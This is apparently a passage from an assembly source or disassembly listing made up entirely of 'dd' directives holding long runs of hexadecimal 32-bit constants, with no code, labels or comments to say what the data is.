0C8027D41h, 1DC84830h, 20240AC8h, 0A04D7Ah dd 1938847Dh, 0B71E4A52h, 6D8A0A68h, 202D00Ch, 80BA26A9h dd 5E3014ACh, 0C5BB899h, 0CB55461Bh, 0D0FDF50h, 40250FA3h dd 0CDDC32D1h, 61480FF6h, 440D547h, 120FAF77h, 0B4D9CA0Ah dd 7853020h, 0A007022Ah, 4834A7h, 37659A7Dh, 9E3A8CEAh dd 2E30F98Dh, 62463041h, 0BF8900FBh, 0C6FF524h, 5658675Fh dd 0DE14004Eh, 0EDBC4F64h, 6EB0C2BEh, 0CC80B039h, 74575377h dd 1FE45F1Dh, 0C0996C8Fh, 917D4250h, 6DF600D3h, 0A2F2BAA1h dd 46009293h, 3F1E3845h, 0FBA4ACh, 8DF95635h, 0DA81641Ah dd 0EB005E7Fh, 0E68FC312h, 399F7Ch, 0D572800Fh, 0C04FB086h dd 8EA74C00h, 287B3653h, 7A330385h, 22733F6Ch, 0DB9BC0B4h dd 0E5075B2Ch, 58430E11h, 0C72DD3B0h, 491C0F4Bh, 0C920D5C2h dd 0EA2F24A5h, 0B701F107h, 42805955h, 5029F225h, 7C0ADA31h dd 0C1FA65h, 8F7C676Fh, 0BBDFF4DAh, 0A34C8600h, 8302BE1h dd 0D739007Bh, 0ACAFF348h, 8E00E726h, 0B7EDFAEFh, 59F5EF8h dd 0BC6064A4h, 881D58h, 43937B3Bh, 2200FEBAh, 57EC05CFh dd 75FD4Ah, 1F6BB6DCh, 0EBC943FAh, 0BC0055E6h, 6F4B4D81h dd 0A73E91h, 68CDD92Eh, 36AF1961h, 7700D7EEh, 0B1A95AEBh dd 0C8C176h, 8756855h, 7A17940Fh, 331F5C00h, 26586088h dd 0E5EF0032h, 780A3B02h, 28F2DE45h, 0C800B1ECh, 21D43F64h dd 52D351h, 4BE433BFh, 0BBEB16F5h, 7E1533Dh, 0E613B830h dd 0F80FE280h, 98BC0002h, 7B739FBDh, 0C8078D88h, 0AC4C0EC5h dd 4B580AC0h, 0C97153h, 1A92DF09h, 305B10A4h, 0B9FAD67Bh dd 70654858h, 54C34100h, 520FE672h, 38000CDh, 0A0DE26D8h dd 0E307676Ch, 654E10A6h, 0F9EC20B3h, 0A8CF3449h, 91507Dh dd 0E2B140F4h, 0D6D13BE4h, 159A4D00h, 3302830Dh, 0C00C0428h dd 0C0A35591h, 4CFDFFB4h, 2F0051F8h, 0BBA1EC45h, 0B041E4h dd 2B12C39Bh, 0BE6F9CA7h, 0B3EB2909h, 82048F13h, 4079CB7Fh dd 0AA2EE0h, 0BA293E21h, 56DFF1ECh, 0FDD1DA00h, 0A97B6A63h dd 0D610001Fh, 2441A11Ch, 0CD00A4AEh, 834ED959h, 79113BF7h dd 7A6D02DFh, 3317B162h, 0DD5ADAC0h, 1083B500h, 0BF9A199h dd 64950076h, 0E5AE97CCh, 7100FF46h, 1449B1EBh, 4139DAh dd 0AA666540h, 5F5DA6A4h, 804CAC3Dh, 0CD8CBB6Eh, 5073F7Ch dd 835A0143h, 4B4C808Bh, 0E7003458h, 23A3C31Bh, 279C05h dd 0F06E8CF3h, 8A494E55h, 565A9A01h, 7E3FD65Dh, 3761F4h dd 4545BB2h, 9AF58FE0h, 0DC3EEA00h, 8884CF56h, 99B5188Bh dd 0C8B07E95h, 0F734E000h, 6A628C27h, 0FE09A1Dh, 855E4F35h dd 0FF89412Bh, 5B923780h, 5700791Fh, 67A8D0C8h, 73A66CF9h dd 950C01E6h, 0C9CA0D24h, 0D8BB16h, 65985380h, 0CC3651h dd 7F70A432h, 0E6335A94h, 0B8ECF003h, 0A0C980E5h, 5AFD9B5h dd 0F17EF314h, 7DBC1471h, 0CEEBFC00h, 0B0176FA8h, 0CC421900h dd 603739DCh, 0BB781DAAh, 0DD8C805Eh, 9D2EE743h, 17592B24h dd 9991BF00h, 0DB7F3h, 973C643Fh, 141DBA02h, 0ABE57F1Fh dd 8D903580h, 4E3605h, 11DCC70Ah, 0BA722056h, 0AAA85Ch dd 0DE545FF8h, 0E6196Ah, 3EC54B24h, 0D1168EE1h, 0C4A00578h dd 9B007521h, 0BFBBBD93h, 8ED976h, 0C92C1CC5h, 0FCF94F89h dd 31AD0200h, 27DAC0E6h, 4D960E95h, 0FEC0A20Fh, 0CA9ED73Ch dd 4021CF00h, 0B87F42B9h, 6817606Dh, 65B12D3Eh, 0C90C3501h dd 0BC3309DFh, 3A0E4422h, 8A006859h, 3740AF75h, 52DA40C1h dd 0E1E4D7D5h, 0BB3101C2h, 0C6834AF2h, 9790C4E2h, 0E7DD4F00h dd 0F94E9A6Bh, 0EC060457h, 0C0C45992h, 91FD169Eh, 48ABF038h dd 7B800ECh, 0D7521E40h, 6EE8DDh, 8DE11154h, 0B8F6A110h dd 204C9C00h, 0CDB4D037h, 3FA00019h, 0DADEADD2h, 3D05B5C4h dd 253BF540h, 0CB32D280h, 563C0038h, 4EEB7967h, 690E47E5h dd 6EFAD75Ah, 293FA08Fh, 1DCC49E9h, 800C13F2h, 3394A96Fh dd 0EB00A1DEh, 0F8BB9E28h, 237897h, 62D0C3BFh, 0C1F9134h dd 0D2408500h, 19B2157Dh dd 0CF730E47h, 7A069F0h, 4B71B5A7h, 0E04DA518h, 1653EE92h dd 0F0A2F380h, 4C07383Eh, 0EBF22E85h, 0F9592901h, 42E8E02Fh dd 0CA0158E8h, 7D1BB335h, 7F20E020h, 0DEC1006Fh, 0A45444C4h dd 5007A267h, 3268F7D7h, 7BC76940h, 0A14700A8h, 0AA094306h dd 9B057A0Bh, 54AB8F98h, 0BEDB9480h, 1FC50A2Eh, 91F469h dd 92741B4Bh, 2A2890BDh, 2F1ED3EBh, 8401FD1Ah, 0C8342CF8h dd 0B68E30h, 97835C7h, 0EF74F58h, 0F9F87A00h, 518A8D93h dd 53FE008Ch, 0C4801D69h, 65F9772h, 5D4757C0h, 567C005Bh dd 0CD90C54Ah, 0EF003F73h, 74C1125Ch, 1F36CC77h, 6AF965h dd 0A5F5CE9Eh, 0C4F099F8h, 95B0D58h, 0EA0AC0h, 572439C0h dd 0CBFA00D5h, 1CB7B60Eh, 850070A7h, 30117AFBh, 0F78B9D31h dd 0C6A030h, 78D18474h, 6C417395h, 34E8B803h, 0A03F3025h dd 2AE339h, 2892C62Bh, 0CFAEE456h, 360E482Eh, 26E8D000h dd 0BCB81Fh, 9CE1D3DFh, 201B81B4h, 0F1001AFEh, 0F5564EA8h dd 7B0DE60h, 288EF40h, 9F80EEFAh, 0BEEE5AB9h, 0EC004AFEh dd 5DEB4F23h, 0ADC3A2h, 2895D246h, 3A512C25h, 0D70DCA01h dd 3777C218h, 616C0h, 364EA1E7h, 0ADC41563h, 6DCFAC00h dd 9D4CF9D2h, 5FE300D9h, 0FBBF62CBh, 6A7EA1C1h, 89F61F3Ch dd 5634C7h, 79C6F1A1h, 0FE7B97h, 86669FDCh, 8E01CF67h dd 4FFC2B01h, 0C5169C3Ch, 75C2ECh, 8CA6DF4Ah, 0D48DD824h dd 25B87A00h, 3208C89Dh, 70BB0F7h, 8CC1E32Dh, 0D8C20021h dd 7007D06Fh, 79055EECh, 0BCF02BB0h, 97DF0025h, 158EE5E4h dd 7200168Bh, 0A66FD664h, 4E6A31h, 7B071D9Dh, 16EB0AE1h dd 4213DB00h, 0D2C2C3D4h, 3ADC00E9h, 0C60FC951h, 0A800FC87h dd 6E7D2624h, 0ABC41Bh, 0D3300899h, 0F54249FFh, 0B216B904h dd 0B0805D81h, 4C0AA770h, 5B015B39h, 5E8C4A5Ch, 0E036DDC2h dd 71019BD8h, 5033D6A1h, 83F49339h, 0F86700AAh, 0D142F490h dd 0F730176Ah, 0E589C826h, 14779BBh, 2953233Fh, 0C412A2CDh dd 0C600FC9Ah, 0ACF42165h, 3C8EEFFEh, 1980F10Ah, 4AB38DD6h dd 0BD98D9A0h, 1330139h, 25A3C9E9h, 0EED85264h, 0F59103C5h dd 0E3A05EFAh, 3C56DC3h, 0EF03F1F0h, 9CA2813Eh, 58C095B7h dd 62C9BAD1h, 364B5C8Ch, 0D0A1BE00h, 721B0D2h, 6F00AF70h dd 0E4602EFFh, 0F0E52575h, 0C0797B57h, 3B82FD10h, 0D001F368h dd 2607F2C8h, 0FB379Bh, 0C9D34B61h, 73BC5DA8h, 0C603ABFCh dd 0A667D09Fh, 0EF39B845h, 6B180024h, 7BE1CB3Ch, 99ECF73Bh dd 4D40BD60h, 1C1D05Fh, 0D897DE81h, 0F429A30Ch, 3D00301Fh dd 0F176FCAEh, 0D08FC2h, 4E0A0D8Eh, 0D95C376Eh, 92CC9607h dd 0FEC2B9C6h, 0F1C2C02Fh, 12760015h, 44ADBB63h, 980097A8h dd 22304C4Ah, 7233B6h, 2A9548Dh, 5A64BDB1h, 0E4FB53F6h dd 97032ABFh, 0FD32C639h, 0C222E04Dh, 18A0F4D0h, 0B08D5980h dd 693E886Dh, 90B480A1h, 0F6A8DE72h, 8DBCA0D5h, 20100196h dd 79F4C089h, 862D434h, 66EC6F00h, 4B4AB82Bh, 18A80001h dd 388A73F3h, 0D83077E6h, 0F5D11949h, 0AC80E1Eh, 0C0C06CFEh dd 0CE3A789h, 2395EF01h, 0C3F355EEh, 7B9830h, 0C253E18Ah dd 83418728h, 0EBD45800h, 4E3D1BC7h, 0C50A0095h, 2D38AE94h dd 5200FCC2h, 1C0365B8h, 5F02E77h, 0EA86D985h, 964FC016h dd 27F8D39Dh, 0CC4ADB07h, 7C7031E4h, 3078771Dh, 53B8C843h dd 5700385Bh, 0F4061F60h, 7C8942FAh, 5D720C1Eh, 12C818C2h dd 810F6401h, 83DFA5A9h, 365CECh, 9EBDECF4h, 7855B4CCh dd 81A6901Ch, 4AA03200h, 0F86A2C2h, 7565492Fh, 0EA20B5AEh dd 0B1F289A8h, 25B49900h, 5DF8DBC3h, 2F160A17h, 0FB8EAC1h dd 4B27436Dh, 0B672913Fh, 4C93C81Fh, 5F83CD01h, 30491091h dd 540F4h, 82CBBE3Eh, 87637181h, 31BF4C30h, 8A9AF6h, 4E7D7A54h dd 0F34D6985h, 0FCDCC100h, 0E58E7217h, 5B810083h, 5ECB38DDh dd 4E001A97h, 662915D4h, 0E4F22102h, 4C2A7431h, 162B5E81h dd 3F5F801Ch, 90F071C3h, 9B454E00h, 0D1818777h, 41F21420h dd 0FDB138C5h, 0ABA6F48Fh, 262E2AEEh, 0C11E0A65h, 166BEC2h dd 3896A0h, 0C6CEFCD5h, 58A10A8h, 4F545FF4h, 0B9112510h dd 0E50094E8h, 41CEC6E3h, 6653BB81h, 4FF1C748h, 1EA9E9A3h dd 14DEC538h, 49F018F3h, 1C00895Eh, 0A58A13CAh, 15CFEB26h dd 60B1AC21h, 1939E0A0h, 38C0D271h, 2EE2EB85h, 0C710A082h dd 196218FFh, 5A6588B0h, 0DC66922Bh, 44D81160h, 4589C3EDh dd 303496E9h, 0DC6C3855h, 322A0C2Bh, 2568868Fh, 0A1C0D450h dd 0A8064D2Bh, 7A39D01h, 6085A737h, 78BEB305h, 2808D6A4h dd 3FBECAEEh, 0E088D72Bh, 5AD32A46h, 39BC8754h, 0E1668E07h dd 21408862h, 0A7F344CFh, 0C9C8264h, 0A52092A7h, 1594081Ch dd 0E04DA00Fh, 18B0DBE3h, 8581E19Dh, 54F3FA94h, 53D807F3h dd 30C0FFCDh, 98EA9965h, 90D7D8Ch, 4FCA61CEh, 2F05B03Ch dd 0C8BF6052h, 6764D440h, 5C010C98h, 501D4AE0h, 7D6104EFh dd 62481E3h, 80BC2720h, 0F9B8EBB6h, 2550C7CEh, 0A004290Ch dd 0A9BC8807h, 0AB8BA300h, 0FD9B6F96h, 0DCC4004Eh, 88FA144Dh dd 77008590h, 24941C17h, 0C76901BDh, 816ECF08h, 0F0D0B11Dh dd 2302407Dh, 53C91B73h, 0DE28B8A2h, 0E2300BF1h, 0E080847Ah dd 0FB5D8D83h, 52074003h, 322C1DBh, 0FFD52350h, 800303Ah dd 1EE36CDAh, 95A718h, 9E573D24h, 454D1AFBh, 2FCA10C3h dd 0D33BC1FFh, 0DB88AC07h, 0C06C7C52h, 52F7B132h, 97900704h dd 716A45D7h, 0EC1608BBh, 0AE0D5CFBh, 0E89B1B5Dh, 0F8BCBA21h dd 0A881B5B3h, 62FD0800h, 0D03821CAh, 5DB8C6CBh, 1A380812h dd 46DA0CFBh, 0C05FB8E2h, 21CBFC09h, 0FE7CA698h, 0F968D81Fh dd 4989303Ch, 18FF2D5Ah, 40C445BAh, 0ECE1F3B7h, 0B0A12833h dd 0FD908692h, 50084F22h, 28DA8432h, 3CC86F30h, 7A009C4Bh dd 7B527FE7h, 9BE845E0h, 0EF4B63Eh, 83EB543Ah, 0C0EADF9Ah dd 0C69DD7BAh, 189B1D40h, 763A3140h, 0EFFD8011h, 0CCF02D80h dd 5A20A708h, 0D7D11441h, 0EE6003E2h, 3CFAE1h, 0CC8161DAh dd 41591F48h, 0E5F509C4h, 7332D803h, 1447D9F2h, 567E9281h dd 0F7006814h, 52140343h, 7D0115Bh, 5DB1BA9Bh, 0C407A485h dd 0FF31189Dh, 0F84F645Ah, 3122D80Fh, 97644792h, 2AF80A2Eh dd 1CFB033Ch, 3B9B5AE9h, 1371119h, 65212E70h, 0C86DE0E0h dd 9B1E8230h, 0EB7B80F0h, 0F6549028h, 486490A5h, 0DD094034h dd 5C00DF39h, 0D821F6F0h, 50318224h, 0DB408C2Bh, 60569D15h dd 0EDB7A08Fh, 10A874F3h, 0C8222827h, 4C5715B9h, 3DA028D5h dd 0F8498582h, 161571B4h, 0B0B853B8h, 241B332Ah, 94F40232h dd 7B0980A0h, 48023991h, 0B48427A2h, 0F8548046h, 8C9CBE8h dd 5D0082C0h, 1DC44029h, 3D10C3C6h, 301C69E5h, 9A09F9B9h dd 0FD500777h, 0FA2402B9h, 7A0840FEh, 1081636Eh, 9AD8BFA9h dd 0C9337A1h, 63A946C0h, 883D3E15h, 0A870379Eh, 0B1E96ACCh dd 685B922Ch, 0DE0AB204h, 8C6932CCh, 0BA8ED705h, 0A8191023h dd 98EE9E16h, 0BDF7020Ch, 32381DD6h, 12A4EC8Eh, 1D70DE0Dh dd 181EB1BFh, 0E3813464h, 81381EC5h, 50622834h, 4D6E903Ch dd 0C1E45036h, 0DF7FE6F3h, 4DB7A812h, 8C9AEC0Ah, 186808D0h dd 0B81CF083h, 4C48AD57h, 367F154Ch, 0D3D1E088h, 3BE22821h dd 77714A8h, 0C526F859h, 0F9FA0418h, 0C9B4C0F7h, 0A37456FEh dd 0B3233B00h dd 0F478E31Bh, 0EA3DEE1Ch, 4A2100B7h, 0A663413Fh, 220077CFh dd 1C5CF3CDh, 0C932AEh, 0BA93CA33h, 0F7B2AF36h, 948028A5h dd 5C8D2709h, 1F4A0025h, 0B2B44F2Eh, 0F3F8A031h, 57049A15h dd 87A5C01Ch, 805B5452h, 0E57F95FFh, 8E59320Eh, 0E038B427h dd 6099CE62h, 9BDFC17Fh, 7275AE91h, 0B2CB600Fh, 73272294h dd 3C9682h, 53A5C5A6h, 0BF4A1F27h, 0F02B2A32h, 783896E7h dd 60027C6Fh, 179F3028h, 73000981h, 0F2CB4C27h, 30B3D887h dd 12C09972h, 55F238CEh, 6F9D903h, 0A3FA4053h, 0BC9F9A93h dd 82FA0688h, 0D8B9F1BDh, 70417F07h, 5060B309h, 12592CBh dd 0B590D1A5h, 0FC30D2EDh, 0F500D884h, 0F2B4534Fh, 3425BEA9h dd 6CD00813h, 6A08FDD8h, 1D520BD8h, 0A02A945Fh, 91819846h dd 5730973Fh, 385460D4h, 8A2472AFh, 0CE000C32h, 2DD0D255h dd 10D5194Bh, 5A33E8C9h, 24020EA8h, 29450935h, 0B4778018h dd 505373D2h, 127BFC0Ah, 7C2810D1h, 831F6620h, 0A2D3F8h dd 52AE1081h, 70D2560Ah, 84A0BDFCh, 98780393h, 96545103h dd 0C71D5310h, 95DE8240h, 72570550h, 3D3F2B3h, 7E2D15DCh dd 0C5710810h, 0D24F5201h, 0F1852090h, 424ED5B5h, 0E9600BC0h dd 0C365CEB0h, 8045DB28h, 0C80C69A3h, 48580978h, 7A1F08E8h dd 98320A62h, 0D51200A0h, 9AB30CBCh, 0F00F4D76h, 85B454D1h dd 0C80024A9h, 32AF5D8Ah, 0B4475052h, 3EC49239h, 0F2095A80h dd 9403944Bh, 0D2E05CA5h, 609CB34h, 3D62033h, 12836A3Ch dd 1EA8D8h, 7151370h, 1274EA33h, 57DAD34Ch, 6DBC80B4h dd 40658CB0h, 50501C22h, 4D67ECFCh, 0D25034A8h, 907CE6F0h dd 4BBF054Ch, 352B2B6h, 44A9D0C0h, 4C86D818h, 0EAE018h dd 0C7291095h, 0B0851306h, 50288C90h, 1F61A067h, 4C645508h dd 672C35E0h, 0C49D0FAh, 6B075BB8h, 85BD730Ah, 0C81AB143h dd 0C01B3102h, 3E239108h, 0B6037187h, 92F10AA3h, 0D851C050h dd 0F66700B9h, 0D6574FA9h, 36E84ED4h, 3E162840h, 963C559Ah dd 176780FCh, 73F9BD00h, 90C88A86h, 79C30061h, 0B7859556h dd 1F0E3BA1h, 7F7331DEh, 62AEDB01h, 68BAA7FAh, 0BD16F60Eh dd 2885D6C5h, 0D6903320h, 781F8400h, 4AF659DEh, 773900C3h dd 0D51A987Dh, 5A035EA4h, 3A64AA40h, 79901193h, 0B7551772h dd 4C652C07h, 1C802CCAh, 0EBB6647Dh, 39DE0177h, 0D7510762h dd 2190BCC4h, 94B4E0B0h, 38606C07h, 0E9DD19D0h, 56DA0367h dd 86BA6362h, 475A479Fh, 0C980CEEAh, 0E71A6B45h, 3A6F9E06h dd 0E0B888B5h, 9CAF3Ch, 7BE8ECEAh, 0DF1F4F1Eh, 9303BAF9h dd 0A2BC095Ah, 0C50115DAh, 5132CB62h, 0FDD94080h, 4EFA6A1Ah dd 79C2FE00h, 0B9C7C087h, 5F060D34h, 1450D49Ah, 5428289Ch dd 15DF4711h, 8388B900h, 0A8368E48h, 9BFA980Ah, 3015E8EBh dd 4333B024h, 5D120B1h, 0B8E8992Bh, 3C06DE0h, 4E291FBCh dd 300415DFh, 0CC4AF1B0h, 4154220h, 628C6859h, 24B8683Ah dd 311B651Eh, 4263960h, 0C2BCC6Ch, 0D27D93C4h, 9E001930h dd 2EB9BC01h, 32BA67F0h, 0F770968Fh, 0D81A0840h, 0C1F96874h dd 641420DEh, 59C79B07h, 0F9419A21h, 39E0ABC4h, 0E842578Fh dd 0B1236080h, 0F9800688h, 0B9A40009h, 47FF5099h, 68C07F6Eh dd 626DB5FAh, 78DB7B9Ah, 0F5CC005Ah, 0D406D9C1h, 6C1F99C8h dd 0AD5268BEh, 893A0802h, 58E080A2h, 6F9C310h, 19C8DC90h dd 0B91D10C1h, 79831833h, 265A40Bh, 9A647B38h, 0C4BC4281h dd 3C12EAF2h, 0B002F476h, 0BC4346D9h, 0D8D904F4h, 83169D8Bh dd 97A0B9F4h, 199059B6h, 0C8FA692Bh, 273D0840h, 9939CF01h dd 6C007629h, 39C8559Eh, 0BC743A70h, 0DAA020F3h, 4500F871h dd 94E45D6Eh, 14C3EBFAh, 98FD1A8Eh, 0EFB77A0Ah, 0AFAD07E4h dd 0E021C35Eh, 5CECF026h, 0EC59438Ah, 68C3B700h, 1B4ABA0h dd 0D1083FA9h, 0DC629FAEh, 163D600Bh, 57C007DBh, 0D50B0D9Ch dd 0E880D281h, 0EC60F1C3h, 2F007AEh, 91D5FA00h, 0C00DCCBCh dd 0D1293E82h, 792EFF01h, 0E7E3319Ch, 0AE1FCEE0h, 189EBF29h dd 0ED91CD67h, 0A00033E3h, 754E092h, 23FE610h, 0E7860EF2h dd 9DA70630h, 0B0CE0640h, 599F4007h, 6D610F0Eh, 30BDC02Bh dd 68EBECh, 76AA54F6h, 0B4F4B89h, 0CDCB6D07h, 55F0675Ah dd 0ACFD358Eh, 2C7A001Ch, 93B97E4Ah, 6340AB89h, 4554238Bh dd 604F78C0h, 98940EC5h, 3F018B89h, 4B2F6B67h, 0C1890318h dd 0A8A0C9h, 5D5F0411h, 907A4D7Bh, 0A41CDCB8h, 0D6FC8B0Eh dd 1AA48024h, 18941EBh, 496B9065h, 0FB4B0E98h, 0F2AB8010h dd 0B7E1AAF0h, 388A4931h, 8B014A4Bh, 743C0416h, 3BB80C9Bh dd 0ABA8FCB6h, 0F3A1A401h, 0ED0D75F7h, 0A8B4C5D0h, 87F12B24h dd 0EE2EAB81h, 8B002F37h, 0F307B638h, 0F20A5897h, 0B444DB42h dd 0B49A067Ch, 404C677Bh, 0AF02EB70h, 5786CB0Eh, 587CA013h dd 614B0FAAh, 23281156h, 2B4F0C12h, 60946C0Dh, 0EE5B3E1Eh dd 15CB7A40h, 900DB4E7h, 2AE8C4C0h, 0A90099FFh, 0F271417Ah dd 0F820D57Dh, 0CE803A52h, 9CD00E01h, 48A3F0BAh, 3F094118h dd 0B23275h, 8416C8F7h, 0D02829CEh, 43DD6718h, 6108D296h dd 20B61928h, 3760610h, 11575D60h, 0F1A34506h, 1460D8DBh dd 4881C0E8h, 7CEF4205h, 0A607C010h, 9A035A28h, 80AF4CDAh dd 271100A7h, 14D5E936h, 1F00E369h, 9D6185FFh, 1C2B5D48h dd 3A236C7Dh, 790C2E0Fh, 7DA8B00h, 0EE5292DDh, 0AC348030h dd 0D70738h, 0E07FE283h, 0B71D790Ah, 24E8DE7Bh, 801CEF52h dd 75615F66h, 157767Eh, 9BE3417Dh, 0FC80A518h, 0B500FF78h dd 0BCA2882Ch, 3CF884h, 76B9CDFEh, 7746C5FCh, 0F0135D80h dd 53382C9Bh, 0BCB80A69h, 0D454591Ch, 220E4134h, 48BD662Dh dd 0C70869FAh, 33EB581Ch, 630E3048h, 88659D38h, 8120D89Bh dd 0A5C2138h, 18203C1Ch, 0FD71622Bh, 816B4008h, 70A76E74h dd 406CED81h, 66FCD2CEh, 0F03A0EDDh, 6B8898E4h, 0F0592EF0h dd 3D2440C4h, 0E4C93004h, 0A47C2758h, 0A8C60A0Ah, 1D00A867h dd 78E4D527h, 8070AD1Ch, 0E6ED8C4Eh, 430C293Eh, 70DCE97Dh dd 40CC6646h, 181010EAh, 7843D457h, 0A6BE7081h, 5DB984DFh dd 4C0DDD77h, 4780F38h, 0C64D1443h, 61E1BD47h, 8AEFD8E4h dd 7C6E5709h, 15F2BED0h, 0EC3B0C23h, 1838C47Dh, 0F07C108Dh dd 144E27EDh, 0ECE447CAh, 0B07A483Fh, 9DEC8F12h, 6557827Ah dd 5500E45Fh, 1D58EE9Eh, 1299392Fh, 0B82C0251h, 0F4BC6FECh dd 0CEB36A05h, 0BC0605F5h, 249913Dh, 38ED1266h, 7CB46FCAh dd 0DD984206h, 2885895h, 0EDFF7D1Dh, 7CB65618h, 36640B05h dd 9803281Eh, 23EDAA7Dh, 35E082F8h, 546C907Eh, 1ABF0E4h dd 813FBBEDh, 0FCBC417Bh, 2EEF83A1h, 227B0h, 0C49A5FB4h dd 0FD8F6A20h, 0F89CE704h, 80BBA9F9h, 46E5C2D0h, 1BC80205h dd 1C60F381h, 205BDBE1h, 0D910AC37h, 811DF53Ah, 0C7820CF6h dd 905C210h, 2342793Bh, 36242Ch, 9EBB0DFDh, 0E539F887h dd 8E38F76Eh, 0B4A28643h, 0C9822140h, 74A372E0h, 19C1C0F2h dd 27B942Ah, 43C2EE40h, 3756C235h, 1EFDE350h, 0C5FF7938h dd 6CA3C27Bh, 0EB08857Ch, 0FA2C576h, 7BE3A059h, 384334E2h dd 0FBD1C074h, 0C2C08473h, 41E2B938h, 98065105h, 8740CDA2h dd 62BC8174h, 7399699h, 90422655h, 9E793A68h, 8C730C74h dd 0F939E3ACh, 22909350h, 82B2333h, 0C3F4F32Fh, 0A2CBA8B6h dd 0FE480761h, 81C55AE2h dd 1E0F502h, 0C2E0802Ah, 1F817C03h, 884922h, 12A93F42h dd 0D2070535h, 0C46B43D5h, 88618023h, 82A4BBh, 0E2E6883Dh dd 0ED62CB24h, 63A62F40h, 898A70CAh, 241E6029h, 96774A60h dd 0C68140B4h, 6E42E840h, 9B8E98B0h, 4F0B08F8h, 562F501h dd 73E3D72Dh, 0B4E2C08Ch, 0FD3E8220h, 38C314BFh, 0E6DBB034h dd 20F64Ah, 4FA68822h, 54C2D9A1h, 1482E8C4h, 0E018A73Ch dd 86390B1Ah, 0C0F2019Ah, 0D7BEBA02h, 2905A43h, 2F36A1A3h dd 1866006Ah, 421DFE97h, 821C965Ah, 3FE23220h, 90B40348h dd 108C363Ch, 46319BF4h, 8C416249h, 0C09EA2F8h, 17CA7C2h dd 89EA3DE3h, 26408683h, 5688E292h, 8CC17C5Ch, 50B1AB9Ch dd 680806F0h, 4503FF77h, 4942F4F8h, 0FD483048h, 97786288h dd 0CC6818CAh, 92FF1E3Eh, 6C868203h, 8FABA2F5h, 0F80A8CE0h dd 2E333302h, 312A71C0h, 7B1F8806h, 950CF54Eh, 0EBB65899h dd 8918208Ch, 8C62F1E8h, 41B15210h, 3CF2AF54h, 7884102h dd 6222F42h, 0C234C8CCh, 0E40DB071h, 0FDDD08F9h, 0E2D2E1E3h dd 0DEB462F0h, 907E1818h, 0C8DF0B22h, 1F6D8A0Fh, 82082718h dd 280A097h, 8E166E0h, 4230C8A0h, 7B2208AFh, 2418CC29h dd 7132E228h, 821CD894h, 0A2D2A288h, 415142A0h, 0F88D8628h dd 0D3709C02h, 2219E0FEh, 0B618B7ABh, 880818C7h, 6B38A865h dd 1849A2E8h, 0B001F324h, 1D21237Fh, 0B5753D6h, 21001D4Bh dd 6D7B1E8Eh, 0FA5A39h, 89C56984h, 320EDDh, 0F83547B0h dd 6FB29CEFh, 7E956D00h, 2179CC8Dh, 9D100756h, 70B05836h dd 0C7F03402h, 5EFF1115h, 9D9E8020h, 8086753Ah, 0F31FA0ECh dd 9305056h, 374525D9h, 44487B70h, 0F6373CC6h, 577220A8h dd 17338C1Dh, 0A6527080h, 0A5E33058h, 0C13C801Ch, 7FA4A577h dd 70AC8D0Ch, 29DEC01Fh, 0E05C58A9h, 2C97774Bh, 64C5D40h dd 0D057192Ah, 0B053383Ah, 6F698038h, 0C4F3D3DAh, 0FAB6C38h dd 7003CA70h, 1025D5D0h, 56DAABh, 329CBD0Ch, 0C2897330h dd 3404A408h, 0B80C749Eh, 7930634Ah, 0E860202Ch, 740F5E41h dd 6102130Fh, 690A6AAh, 209EE4CCh, 59746501h, 5ACBF030h dd 0F848BFE0h, 0EDA31D50h, 0E92F0E57h, 605F9086h, 668B888Dh dd 0D9820CD0h, 0A08031ECh, 5E048448h, 0BF570688h, 0D1DC96h dd 329F488Ch, 4531ACD0h, 0A9DD9015h, 6F25E0FCh, 0EC6A01F3h dd 4ACDA78h, 0B078809Bh, 0DDD056F4h, 1F5A74CFh, 558B3D4h dd 6D325E3Ah, 0F9BFC494h, 79665C03h, 0A0254CDAh, 6C9B045h dd 18D0336Eh, 0E528D03Dh, 153A8C7Fh, 0C3100C81h, 7C2D2830h dd 61BE8E6h, 7C7032A1h, 3E72D09Ah, 7EF05A0Eh, 400F9FD1h dd 8D5002CEh, 0EEDCBC04h, 7DA21950h, 0F46CE030h, 701D3371h dd 0BD3B84ECh, 4E0867A9h, 0FA1082AFh, 1D0056Fh, 0F2D9F0F0h dd 440CD156h, 12A46CB6h, 9B03CC11h, 0F0D20C18h, 6B649C50h dd 0D0044508h, 74F002E0h, 66E056Fh, 70C1B0F4h, 6825D034h dd 0A6AF86Ch, 53E68B02h, 32C08B0h, 0DCCE300Ah, 24DF009h dd 8E1E9000h, 456849Ch, 4E063C9Eh, 51E945A9h, 3070CC20h dd 10485BD0h, 5A4294EEh, 91C1B446h, 10CD62CAh, 1D659DECh dd 64A89033h, 0A0E715CCh, 0F43CD3F0h, 8C41DE61h, 70923EA0h dd 0AB807C80h, 3920D26Ch, 3A413CACh, 7C8D9015h, 2CA013B3h dd 5C9AFC01h, 0C1707556h, 0D2ED245Fh, 48746C10h, 4D50B53Ah dd 0E5FEF038h, 6C1A2029h, 0B5460CA0h, 6C6B302Bh, 1AC11960h dd 0B22C8817h, 0F0467D09h, 10180712h, 0C882D314h, 0F8A448C1h dd 0C608C519h, 54B40618h, 0E21D2827h, 0DB0E4544h, 0D2B8922Bh dd 62FDF040h, 2E8A102Fh, 0E38D2040h, 97486498h, 150378F8h dd 7CB0561Ch, 2F90A006h, 0C010C41Bh, 0CA0CC38Dh, 805C0851h dd 3EF15008h, 7438305Bh, 0D270183Ah, 0E5D7A036h, 4FF0570Eh dd 530B9FECh, 0A80C01C2h, 0D05B3260h, 1D729505h, 0CC80400Ah dd 0B046E655h, 87EFA37h, 70838167h, 50C1F495h, 10303901h dd 505F4D54h, 487A8BE0h, 54375824h, 0ACE9188Ah, 4F47709h dd 0C891A498h, 0E898F317h, 0DF100851h, 435094A0h, 0F0385498h dd 1644BE78h, 7804D96Ah, 74814E6Fh, 36D25E05h, 207B7A75h dd 0C4FCD944h, 9F8E10D0h, 2C9E0108h, 81EA751Ah, 0A4CAD061h dd 749F5F88h, 838EBA02h, 59239518h, 370247Bh, 609423C8h dd 0CE813F25h, 28D0F259h, 0F02CB837h, 0FD44B8B6h, 241A2C83h dd 0F88448F9h, 7D1180F6h, 82188E0Ch, 9B6820F5h, 804940CAh dd 3A79FEF8h, 0DC592AC5h, 50405A31h, 0D0088AB5h, 0E0FB844Eh dd 401DF6E0h, 0A760CCF3h, 9C403038h, 0ADB0E3Dh, 3F203BAAh dd 25A9F0B7h, 0FB3FB47Ch, 7BF72CBFh, 0C7E05600h, 182247Eh dd 3D9A2B37h, 0D046BF1Bh, 9B63DEBBh, 0E0450E08h, 0A1C7893Bh dd 58BA0BB6h, 6E31B21h, 18A48093h, 0D7821827h, 51BB9048h 